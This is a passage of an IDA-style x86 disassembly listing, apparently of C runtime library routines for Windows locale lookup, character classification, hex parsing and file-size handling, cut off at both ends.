XREF: _2:00454828o call sub_41BC70 add esp, 4 cmp eax, ds:dword_4F365C jnz short loc_43535B mov eax, [ebp+var_7C] mov ds:dword_4F3654, eax loc_43535B: ; CODE XREF: sub_435200+151j jmp short loc_43538F ; --------------------------------------------------------------------------- loc_43535D: ; CODE XREF: sub_435200+108j ; sub_435200+125j mov ecx, ds:dword_4F366C and ecx, 1 test ecx, ecx jnz short loc_43538F mov edx, [ebp+var_7C] push edx call sub_4358A0 add esp, 4 test eax, eax jz short loc_43538F mov eax, ds:dword_4F366C or al, 1 mov ds:dword_4F366C, eax mov ecx, [ebp+var_7C] mov ds:dword_4F3670, ecx loc_43538F: ; CODE XREF: sub_435200+69j ; sub_435200+EBj ... mov edx, ds:dword_4F366C and edx, 300h cmp edx, 300h jz loc_435511 push 78h lea eax, [ebp+var_78] push eax mov ecx, ds:dword_4F3660 neg ecx sbb ecx, ecx and ecx, 0FFFFF002h add ecx, 1001h push ecx mov edx, [ebp+var_7C] push edx call ds:dword_4F3674 test eax, eax jnz short loc_4353E6 mov ds:dword_4F366C, 0 mov eax, 1 jmp loc_43551E ; --------------------------------------------------------------------------- loc_4353E6: ; CODE XREF: sub_435200+1D0j lea eax, [ebp+var_78] push eax mov ecx, ds:dword_4F3664 push ecx call sub_420F10 add esp, 8 test eax, eax jnz loc_4354B0 mov edx, ds:dword_4F366C or dh, 2 mov ds:dword_4F366C, edx cmp ds:dword_4F3660, 0 jz short loc_43543A mov eax, ds:dword_4F366C or ah, 1 mov ds:dword_4F366C, eax cmp ds:dword_4F3654, 0 jnz short loc_435438 mov ecx, [ebp+var_7C] mov ds:dword_4F3654, ecx loc_435438: ; CODE XREF: sub_435200+22Dj jmp short loc_4354AE ; --------------------------------------------------------------------------- loc_43543A: ; CODE XREF: sub_435200+217j cmp ds:dword_4F365C, 0 jz short loc_43548F mov edx, ds:dword_4F3664 push edx call sub_41BC70 add esp, 4 cmp eax, ds:dword_4F365C jnz short loc_43548F push 1 mov eax, [ebp+var_7C] push eax call sub_4358F0 add esp, 8 test eax, eax jz short loc_43548D mov ecx, ds:dword_4F366C or ch, 1 mov ds:dword_4F366C, ecx cmp ds:dword_4F3654, 0 jnz short loc_43548D mov edx, [ebp+var_7C] mov ds:dword_4F3654, edx loc_43548D: ; CODE XREF: sub_435200+26Aj ; sub_435200+282j jmp short loc_4354AE ; --------------------------------------------------------------------------- loc_43548F: ; CODE XREF: sub_435200+241j ; sub_435200+258j mov eax, ds:dword_4F366C or ah, 1 mov ds:dword_4F366C, eax cmp ds:dword_4F3654, 0 jnz short loc_4354AE mov ecx, [ebp+var_7C] mov ds:dword_4F3654, ecx loc_4354AE: ; CODE XREF: sub_435200:loc_435438j ; sub_435200:loc_43548Dj ... jmp short loc_435511 ; --------------------------------------------------------------------------- loc_4354B0: ; CODE XREF: sub_435200+1FBj cmp ds:dword_4F3660, 0 jnz short loc_435511 cmp ds:dword_4F365C, 0 jz short loc_435511 mov edx, ds:dword_4F365C push edx lea eax, [ebp+var_78] push eax mov ecx, ds:dword_4F3664 push ecx call sub_438F10 add esp, 0Ch test eax, eax jnz short loc_435511 push 0 mov edx, [ebp+var_7C] push edx call sub_4358F0 add esp, 8 test eax, eax jz short loc_435511 mov eax, ds:dword_4F366C or ah, 1 mov ds:dword_4F366C, eax cmp ds:dword_4F3654, 0 jnz short loc_435511 mov ecx, [ebp+var_7C] mov ds:dword_4F3654, ecx loc_435511: ; CODE XREF: sub_435200+1A1j ; sub_435200:loc_4354AEj ... mov eax, ds:dword_4F366C and eax, 4 neg eax sbb eax, eax inc eax loc_43551E: ; CODE XREF: sub_435200+4Fj ; sub_435200+A9j ... mov esp, ebp pop ebp retn 4 sub_435200 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435530 proc near ; CODE XREF: sub_434EB0:loc_434F96p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov eax, ds:dword_4F3664 push eax call sub_41BC70 add esp, 4 xor ecx, ecx cmp eax, 3 setz cl mov ds:dword_4F3660, ecx cmp ds:dword_4F3660, 0 jz short loc_435562 mov [ebp+var_4], 2 jmp short loc_435574 ; --------------------------------------------------------------------------- loc_435562: ; CODE XREF: sub_435530+27j mov edx, ds:dword_4F3664 push edx call sub_435BE0 add esp, 4 mov [ebp+var_4], eax loc_435574: ; CODE XREF: sub_435530+30j mov eax, [ebp+var_4] mov ds:dword_4F365C, eax push 1 push offset sub_4355B0 call ds:dword_4F52F0 ; EnumSystemLocalesA mov ecx, ds:dword_4F366C and ecx, 4 test ecx, ecx jnz short loc_4355A0 mov ds:dword_4F366C, 0 loc_4355A0: ; CODE XREF: sub_435530+64j mov esp, ebp pop ebp retn sub_435530 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4355B0 proc near ; DATA XREF: sub_435530+4Eo var_7C = dword ptr -7Ch var_78 = byte ptr -78h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 7Ch mov eax, [ebp+arg_0] push eax call sub_435B60 add esp, 4 mov [ebp+var_7C], eax push 78h lea ecx, [ebp+var_78] push ecx mov edx, ds:dword_4F3660 neg edx sbb edx, edx and edx, 0FFFFF002h add edx, 1001h push edx mov eax, [ebp+var_7C] push eax call ds:dword_4F3674 test eax, eax jnz short loc_435604 mov ds:dword_4F366C, 0 mov eax, 1 jmp loc_4356C9 ; --------------------------------------------------------------------------- loc_435604: ; CODE XREF: sub_4355B0+3Ej lea ecx, [ebp+var_78] push ecx mov edx, ds:dword_4F3664 push edx call sub_420F10 add esp, 8 test eax, eax jnz short loc_435659 cmp ds:dword_4F3660, 0 jnz short loc_435636 push 1 mov eax, [ebp+var_7C] push eax call sub_4358F0 add esp, 8 test eax, eax jz short loc_435657 loc_435636: ; CODE XREF: sub_4355B0+72j mov ecx, [ebp+var_7C] mov ds:dword_4F3670, ecx mov edx, ds:dword_4F3670 mov ds:dword_4F3654, edx mov eax, ds:dword_4F366C or al, 4 mov ds:dword_4F366C, eax loc_435657: ; CODE XREF: sub_4355B0+84j jmp short loc_4356BC ; --------------------------------------------------------------------------- loc_435659: ; CODE XREF: sub_4355B0+69j cmp ds:dword_4F3660, 0 jnz short loc_4356BC cmp ds:dword_4F365C, 0 jz short loc_4356BC mov ecx, ds:dword_4F365C push ecx lea edx, [ebp+var_78] push edx mov eax, ds:dword_4F3664 push eax call sub_438F10 add esp, 0Ch test eax, eax jnz short loc_4356BC push 0 mov ecx, [ebp+var_7C] push ecx call sub_4358F0 add esp, 8 test eax, eax jz short loc_4356BC mov edx, [ebp+var_7C] mov ds:dword_4F3670, edx mov eax, ds:dword_4F3670 mov ds:dword_4F3654, eax mov ecx, ds:dword_4F366C or ecx, 4 mov ds:dword_4F366C, ecx loc_4356BC: ; CODE XREF: sub_4355B0:loc_435657j ; sub_4355B0+B0j ... mov eax, ds:dword_4F366C and eax, 4 neg eax sbb eax, eax inc eax loc_4356C9: ; CODE XREF: sub_4355B0+4Fj mov esp, ebp pop ebp retn 4 sub_4355B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4356D0 proc near ; CODE XREF: sub_434EB0+102p push ebp mov ebp, esp mov eax, ds:dword_4F3668 push eax call sub_41BC70 add esp, 4 xor ecx, ecx cmp eax, 3 setz cl mov ds:dword_4F3658, ecx push 1 push offset sub_435720 call ds:dword_4F52F0 ; EnumSystemLocalesA mov edx, ds:dword_4F366C and edx, 4 test edx, edx jnz short loc_435713 mov ds:dword_4F366C, 0 loc_435713: ; CODE XREF: sub_4356D0+37j pop ebp retn sub_4356D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435720 proc near ; DATA XREF: sub_4356D0+21o var_7C = dword ptr -7Ch var_78 = byte ptr -78h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 7Ch mov eax, [ebp+arg_0] push eax call sub_435B60 add esp, 4 mov [ebp+var_7C], eax push 78h lea ecx, [ebp+var_78] push ecx mov edx, ds:dword_4F3658 neg edx sbb edx, edx and edx, 0FFFFF005h add edx, 1002h push edx mov eax, [ebp+var_7C] push eax call ds:dword_4F3674 test eax, eax jnz short loc_435771 mov ds:dword_4F366C, 0 mov eax, 1 jmp short loc_4357C6 ; --------------------------------------------------------------------------- loc_435771: ; CODE XREF: sub_435720+3Ej lea ecx, [ebp+var_78] push ecx mov edx, ds:dword_4F3668 push edx call sub_420F10 add esp, 8 test eax, eax jnz short loc_4357B9 mov eax, [ebp+var_7C] push eax call sub_4358A0 add esp, 4 test eax, eax jz short loc_4357B9 mov ecx, [ebp+var_7C] mov ds:dword_4F3670, ecx mov edx, ds:dword_4F3670 mov ds:dword_4F3654, edx mov eax, ds:dword_4F366C or al, 4 mov ds:dword_4F366C, eax loc_4357B9: ; CODE XREF: sub_435720+66j ; sub_435720+76j mov eax, ds:dword_4F366C and eax, 4 neg eax sbb eax, eax inc eax loc_4357C6: ; CODE XREF: sub_435720+4Fj mov esp, ebp pop ebp retn 4 sub_435720 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4357D0 proc near ; CODE XREF: sub_434EB0+38p ; sub_434EB0:loc_434FB9p push ebp mov ebp, esp mov eax, ds:dword_4F366C or eax, 104h mov ds:dword_4F366C, eax call ds:dword_4F52EC ; GetUserDefaultLCID mov ds:dword_4F3670, eax mov ecx, ds:dword_4F3670 mov ds:dword_4F3654, ecx pop ebp retn sub_4357D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435800 proc near ; CODE XREF: sub_434EB0+128p var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 cmp [ebp+arg_0], 0 jz short loc_43582B mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_43582B push offset off_43DECC mov edx, [ebp+arg_0] push edx call sub_41F7E0 add esp, 8 test eax, eax jnz short loc_435853 loc_43582B: ; CODE XREF: sub_435800+Aj ; sub_435800+14j push 8 lea eax, [ebp+var_8] push eax push 1004h mov ecx, ds:dword_4F3670 push ecx call ds:dword_4F3674 test eax, eax jnz short loc_43584B xor eax, eax jmp short loc_435897 ; --------------------------------------------------------------------------- loc_43584B: ; CODE XREF: sub_435800+45j lea edx, [ebp+var_8] mov [ebp+arg_0], edx jmp short loc_43588B ; --------------------------------------------------------------------------- loc_435853: ; CODE XREF: sub_435800+29j push offset off_43DEC8 mov eax, [ebp+arg_0] push eax call sub_41F7E0 add esp, 8 test eax, eax jnz short loc_43588B push 8 lea ecx, [ebp+var_8] push ecx push 0Bh mov edx, ds:dword_4F3670 push edx call ds:dword_4F3674 test eax, eax jnz short loc_435885 xor eax, eax jmp short loc_435897 ; --------------------------------------------------------------------------- loc_435885: ; CODE XREF: sub_435800+7Fj lea eax, [ebp+var_8] mov [ebp+arg_0], eax loc_43588B: ; CODE XREF: sub_435800+51j ; sub_435800+66j mov ecx, [ebp+arg_0] push ecx call sub_41E610 add esp, 4 loc_435897: ; CODE XREF: sub_435800+49j ; sub_435800+83j mov esp, ebp pop ebp retn sub_435800 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4358A0 proc near ; CODE XREF: sub_435200+16Ep ; sub_435720+6Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = word ptr 8 push ebp mov ebp, esp sub esp, 8 mov ax, [ebp+arg_0] mov word ptr [ebp+var_4], ax mov [ebp+var_8], 0 jmp short loc_4358C0 ; --------------------------------------------------------------------------- loc_4358B7: ; CODE XREF: sub_4358A0:loc_4358E4j mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx loc_4358C0: ; CODE XREF: sub_4358A0+15j cmp [ebp+var_8], 0Ah jnb short loc_4358E6 mov edx, [ebp+var_4] and edx, 0FFFFh mov eax, [ebp+var_8] xor ecx, ecx mov cx, ds:word_454A54[eax*2] cmp edx, ecx jnz short loc_4358E4 xor eax, eax jmp short loc_4358EB ; --------------------------------------------------------------------------- loc_4358E4: ; CODE XREF: sub_4358A0+3Ej jmp short loc_4358B7 ; --------------------------------------------------------------------------- loc_4358E6: ; CODE XREF: sub_4358A0+24j mov eax, 1 loc_4358EB: ; CODE XREF: sub_4358A0+42j mov esp, ebp pop ebp retn sub_4358A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4358F0 proc near ; CODE XREF: sub_435200+260p ; sub_435200+2E6p ... var_7C = byte ptr -7Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7Ch push esi mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 3FFh and eax, 0FFFFh or ah, 4 and eax, 0FFFFh mov [ebp+var_4], eax push 78h lea ecx, [ebp+var_7C] push ecx push 1 mov edx, [ebp+var_4] push edx call ds:dword_4F3674 test eax, eax jnz short loc_43592E xor eax, eax jmp short loc_435972 ; --------------------------------------------------------------------------- loc_43592E: ; CODE XREF: sub_4358F0+38j lea eax, [ebp+var_7C] push eax call sub_435B60 add esp, 4 cmp [ebp+arg_0], eax jz short loc_43596D cmp [ebp+arg_4], 0 jz short loc_43596D mov ecx, ds:dword_4F3664 push ecx call sub_435BE0 add esp, 4 mov esi, eax mov edx, ds:dword_4F3664 push edx call sub_41BC70 add esp, 4 cmp esi, eax jnz short loc_43596D xor eax, eax jmp short loc_435972 ; --------------------------------------------------------------------------- loc_43596D: ; CODE XREF: sub_4358F0+4Dj ; sub_4358F0+53j ... mov eax, 1 loc_435972: ; CODE XREF: sub_4358F0+3Cj ; sub_4358F0+7Bj pop esi mov esp, ebp pop ebp retn sub_4358F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435980 proc near ; CODE XREF: sub_434EB0+Fp var_98 = dword ptr -98h var_94 = dword ptr -94h var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 98h mov [ebp+var_94], 94h lea eax, [ebp+var_94] push eax call ds:dword_4F539C ; GetVersionExA test eax, eax jz short loc_4359B9 cmp [ebp+var_84], 2 jnz short loc_4359B9 mov [ebp+var_98], 1 jmp short loc_4359C3 ; --------------------------------------------------------------------------- loc_4359B9: ; CODE XREF: sub_435980+22j ; sub_435980+2Bj mov [ebp+var_98], 0 loc_4359C3: ; CODE XREF: sub_435980+37j mov eax, [ebp+var_98] mov esp, ebp pop ebp retn sub_435980 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4359D0 proc near ; DATA XREF: sub_434EB0:loc_434ED2o var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 14h mov [ebp+var_10], 0 mov [ebp+var_4], 1Ah mov [ebp+var_8], 0 loc_4359EB: ; CODE XREF: sub_4359D0:loc_435B33j mov eax, [ebp+var_10] cmp eax, [ebp+var_4] jg loc_435B38 mov eax, [ebp+var_10] add eax, [ebp+var_4] cdq sub eax, edx sar eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_C] imul ecx, 2Ch mov edx, [ebp+arg_0] cmp edx, ds:dword_4545B0[ecx] jnz loc_435B0E mov eax, [ebp+arg_4] mov [ebp+var_14], eax cmp [ebp+var_14], 0Bh ja short loc_435A47 cmp [ebp+var_14], 0Bh jz loc_435AB9 cmp [ebp+var_14], 1 jz short loc_435A64 cmp [ebp+var_14], 3 jz short loc_435A86 cmp [ebp+var_14], 7 jz short loc_435AA8 jmp loc_435AD8 ; --------------------------------------------------------------------------- loc_435A47: ; CODE XREF: sub_4359D0+54j cmp [ebp+var_14], 1001h jz short loc_435A75 cmp [ebp+var_14], 1002h jz short loc_435A97 cmp [ebp+var_14], 1004h jz short loc_435ACA jmp short loc_435AD8 ; --------------------------------------------------------------------------- loc_435A64: ; CODE XREF: sub_4359D0+64j mov ecx, [ebp+var_C] imul ecx, 2Ch add ecx, offset a040a ; "040a" mov [ebp+var_8], ecx jmp short loc_435AD8 ; --------------------------------------------------------------------------- loc_435A75: ; CODE XREF: sub_4359D0+7Ej mov edx, [ebp+var_C] imul edx, 2Ch mov eax, ds:off_4545BC[edx] mov [ebp+var_8], eax jmp short loc_435AD8 ; --------------------------------------------------------------------------- loc_435A86: ; CODE XREF: sub_4359D0+6Aj mov ecx, [ebp+var_C] imul ecx, 2Ch add ecx, offset off_4545C0 mov [ebp+var_8], ecx jmp short loc_435AD8 ; --------------------------------------------------------------------------- loc_435A97: ; CODE XREF: sub_4359D0+87j mov edx, [ebp+var_C] imul edx, 2Ch mov eax, ds:off_4545C4[edx] mov [ebp+var_8], eax jmp short loc_435AD8 ; --------------------------------------------------------------------------- loc_435AA8: ; CODE XREF: sub_4359D0+70j mov ecx, [ebp+var_C] imul ecx, 2Ch add ecx, offset off_4545C8 mov [ebp+var_8], ecx jmp short loc_435AD8 ; --------------------------------------------------------------------------- loc_435AB9: ; CODE XREF: sub_4359D0+5Aj mov edx, [ebp+var_C] imul edx, 2Ch add edx, offset dword_4545CC mov [ebp+var_8], edx jmp short loc_435AD8 ; --------------------------------------------------------------------------- loc_435ACA: ; CODE XREF: sub_4359D0+90j mov eax, [ebp+var_C] imul eax, 2Ch add eax, offset a1252 ; "1252" mov [ebp+var_8], eax loc_435AD8: ; CODE XREF: sub_4359D0+72j ; sub_4359D0+92j ... cmp [ebp+var_8], 0 jz short loc_435AE4 cmp [ebp+arg_C], 1 jge short loc_435AE6 loc_435AE4: ; CODE XREF: sub_4359D0+10Cj jmp short loc_435B38 ; --------------------------------------------------------------------------- loc_435AE6: ; CODE XREF: sub_4359D0+112j mov ecx, [ebp+arg_C] sub ecx, 1 push ecx mov edx, [ebp+var_8] push edx mov eax, [ebp+arg_8] push eax call sub_41E510 add esp, 0Ch mov ecx, [ebp+arg_8] add ecx, [ebp+arg_C] mov byte ptr [ecx-1], 0 mov eax, 1 jmp short loc_435B4E ; --------------------------------------------------------------------------- loc_435B0E: ; CODE XREF: sub_4359D0+44j mov edx, [ebp+var_C] imul edx, 2Ch mov eax, [ebp+arg_0] cmp eax, ds:dword_4545B0[edx] jnb short loc_435B2A mov ecx, [ebp+var_C] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_435B33 ; --------------------------------------------------------------------------- loc_435B2A: ; CODE XREF: sub_4359D0+14Dj mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_10], edx loc_435B33: ; CODE XREF: sub_4359D0+158j jmp loc_4359EB ; --------------------------------------------------------------------------- loc_435B38: ; CODE XREF: sub_4359D0+21j ; sub_4359D0:loc_435AE4j mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call ds:dword_4F5398 ; GetLocaleInfoA loc_435B4E: ; CODE XREF: sub_4359D0+13Cj mov esp, ebp pop ebp retn 10h sub_4359D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435B60 proc near ; CODE XREF: sub_435200+Ap ; sub_4355B0+Ap ... var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], 0 loc_435B6D: ; CODE XREF: sub_435B60+6Dj mov eax, [ebp+arg_0] mov cl, [eax] mov [ebp+var_8], cl movsx edx, [ebp+var_8] mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax test edx, edx jz short loc_435BCF movsx ecx, [ebp+var_8] cmp ecx, 61h jl short loc_435BA2 movsx edx, [ebp+var_8] cmp edx, 66h jg short loc_435BA2 mov al, [ebp+var_8] add al, 0D9h mov [ebp+var_8], al jmp short loc_435BBC ; --------------------------------------------------------------------------- loc_435BA2: ; CODE XREF: sub_435B60+2Dj ; sub_435B60+36j movsx ecx, [ebp+var_8] cmp ecx, 41h jl short loc_435BBC movsx edx, [ebp+var_8] cmp edx, 46h jg short loc_435BBC mov al, [ebp+var_8] add al, 0F9h mov [ebp+var_8], al loc_435BBC: ; CODE XREF: sub_435B60+40j ; sub_435B60+49j ... mov ecx, [ebp+var_4] shl ecx, 4 movsx edx, [ebp+var_8] lea eax, [ecx+edx-30h] mov [ebp+var_4], eax jmp short loc_435B6D ; --------------------------------------------------------------------------- loc_435BCF: ; CODE XREF: sub_435B60+24j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_435B60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435BE0 proc near ; CODE XREF: sub_435140+60p ; sub_435530+39p ... var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 mov eax, [ebp+arg_0] mov cl, [eax] mov [ebp+var_4], cl mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx loc_435BFE: ; CODE XREF: sub_435BE0+5Cj movsx eax, [ebp+var_4] cmp eax, 41h jl short loc_435C10 movsx ecx, [ebp+var_4] cmp ecx, 5Ah jle short loc_435C22 loc_435C10: ; CODE XREF: sub_435BE0+25j movsx edx, [ebp+var_4] cmp edx, 61h jl short loc_435C3E movsx eax, [ebp+var_4] cmp eax, 7Ah jg short loc_435C3E loc_435C22: ; CODE XREF: sub_435BE0+2Ej mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov al, [edx] mov [ebp+var_4], al mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx jmp short loc_435BFE ; --------------------------------------------------------------------------- loc_435C3E: ; CODE XREF: sub_435BE0+37j ; sub_435BE0+40j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_435BE0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 0 mov eax, [ebp+8] push eax call sub_435DD0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 3 push 0 mov eax, [ebp+8] push eax call sub_435DD0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 2 push 0 mov eax, [ebp+8] push eax call sub_435DD0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 107h mov eax, [ebp+8] push eax call sub_435DD0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 103h mov eax, [ebp+8] push eax call sub_435DD0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 3 push 117h mov eax, [ebp+8] push eax call sub_435DD0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 3 push 157h mov eax, [ebp+8] push eax call sub_435DD0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 2 push 10h mov eax, [ebp+8] push eax call sub_435DD0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435D50 proc near ; CODE XREF: sub_42F1D0+4Ep arg_0 = dword ptr 8 push ebp mov ebp, esp push 4 push 0 mov eax, [ebp+arg_0] push eax call sub_435DD0 add esp, 0Ch pop ebp retn sub_435D50 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 8 push 0 mov eax, [ebp+8] push eax call sub_435DD0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp ds:dword_4F37CC, 3A4h jnz short loc_435DBD push 3 push 0 mov eax, [ebp+8] push eax call sub_435DD0 add esp, 0Ch test eax, eax jz short loc_435DBD mov dword ptr [ebp-4], 1 jmp short loc_435DC4 ; --------------------------------------------------------------------------- loc_435DBD: ; CODE XREF: _0:00435D9Ej _0:00435DB2j mov dword ptr [ebp-4], 0 loc_435DC4: ; CODE XREF: _0:00435DBBj mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435DD0 proc near ; CODE XREF: _0:00435C5Bp _0:00435C7Bp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] and eax, 0FFh mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor edx, edx mov dl, ds:byte_4F38E1[ecx] and edx, [ebp+arg_8] test edx, edx jnz short loc_435E24 cmp [ebp+arg_4], 0 jz short loc_435E0E mov eax, [ebp+arg_0] xor ecx, ecx mov cx, ds:word_453BEE[eax*2] and ecx, [ebp+arg_4] mov [ebp+var_4], ecx jmp short loc_435E15 ; --------------------------------------------------------------------------- loc_435E0E: ; CODE XREF: sub_435DD0+27j mov [ebp+var_4], 0 loc_435E15: ; CODE XREF: sub_435DD0+3Cj cmp [ebp+var_4], 0 jnz short loc_435E24 mov [ebp+var_8], 0 jmp short loc_435E2B ; --------------------------------------------------------------------------- loc_435E24: ; CODE XREF: sub_435DD0+21j ; sub_435DD0+49j mov [ebp+var_8], 1 loc_435E2B: ; CODE XREF: sub_435DD0+52j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_435DD0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, [ebp+8] cmp eax, ds:dword_4F37C0 jnb short loc_435E71 mov ecx, [ebp+8] sar ecx, 5 mov edx, [ebp+8] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4F36C0[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_435E81 loc_435E71: ; CODE XREF: _0:00435E4Dj call sub_429A90 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_435EAF ; --------------------------------------------------------------------------- loc_435E81: ; CODE XREF: _0:00435E6Fj mov edx, [ebp+8] push edx call sub_431070 add esp, 4 mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_435EC0 add esp, 8 mov [ebp-4], eax mov edx, [ebp+8] push edx call sub_431100 add esp, 4 mov eax, [ebp-4] loc_435EAF: ; CODE XREF: _0:00435E7Fj mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435EC0 proc near ; CODE XREF: sub_4314E0+44Cp ; _0:00435E95p var_1024 = dword ptr -1024h var_1020 = dword ptr -1020h var_101C = dword ptr -101Ch var_1018 = dword ptr -1018h var_1014 = dword ptr -1014h var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1024h call sub_41EF80 push ebx push esi push edi lea eax, [ebp+var_1004] mov [ebp+var_1014], eax mov [ebp+var_101C], 0 loc_435EE6: ; CODE XREF: sub_435EC0+51j cmp [ebp+arg_4], 0 jge short loc_435F0D push offset dword_43DEDC push 0 push 81h push offset dword_43DED0 push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_435F0D int 3 ; Trap to Debugger loc_435F0D: ; CODE XREF: sub_435EC0+2Aj ; sub_435EC0+4Aj xor ecx, ecx test ecx, ecx jnz short loc_435EE6 push 1 push 0 mov edx, [ebp+arg_0] push edx call sub_42E570 add esp, 0Ch mov [ebp+var_100C], eax cmp [ebp+var_100C], 0FFFFFFFFh jz short loc_435F51 push 2 push 0 mov eax, [ebp+arg_0] push eax call sub_42E570 add esp, 0Ch mov [ebp+var_1010], eax cmp [ebp+var_1010], 0FFFFFFFFh jnz short loc_435F59 loc_435F51: ; CODE XREF: sub_435EC0+70j or eax, 0FFFFFFFFh jmp loc_4360E9 ; --------------------------------------------------------------------------- loc_435F59: ; CODE XREF: sub_435EC0+8Fj mov ecx, [ebp+arg_4] sub ecx, [ebp+var_1010] mov [ebp+var_1018], ecx cmp [ebp+var_1018], 0 jle loc_436070 push 1000h push 0 mov edx, [ebp+var_1014] push edx call sub_41E4B0 add esp, 0Ch push 8000h mov eax, [ebp+arg_0] push eax call sub_4390A0 add esp, 8 mov [ebp+var_4], eax loc_435F9F: ; CODE XREF: sub_435EC0+198j cmp [ebp+var_1018], 1000h jl short loc_435FB7 mov [ebp+var_1020], 1000h jmp short loc_435FC3 ; --------------------------------------------------------------------------- loc_435FB7: ; CODE XREF: sub_435EC0+E9j mov ecx, [ebp+var_1018] mov [ebp+var_1020], ecx loc_435FC3: ; CODE XREF: sub_435EC0+F5j mov edx, [ebp+var_1020] mov [ebp+var_1008], edx cmp [ebp+var_1018], 1000h jl short loc_435FE7 mov [ebp+var_1024], 1000h jmp short loc_435FF3 ; --------------------------------------------------------------------------- loc_435FE7: ; CODE XREF: sub_435EC0+119j mov eax, [ebp+var_1018] mov [ebp+var_1024], eax loc_435FF3: ; CODE XREF: sub_435EC0+125j mov ecx, [ebp+var_1024] push ecx mov edx, 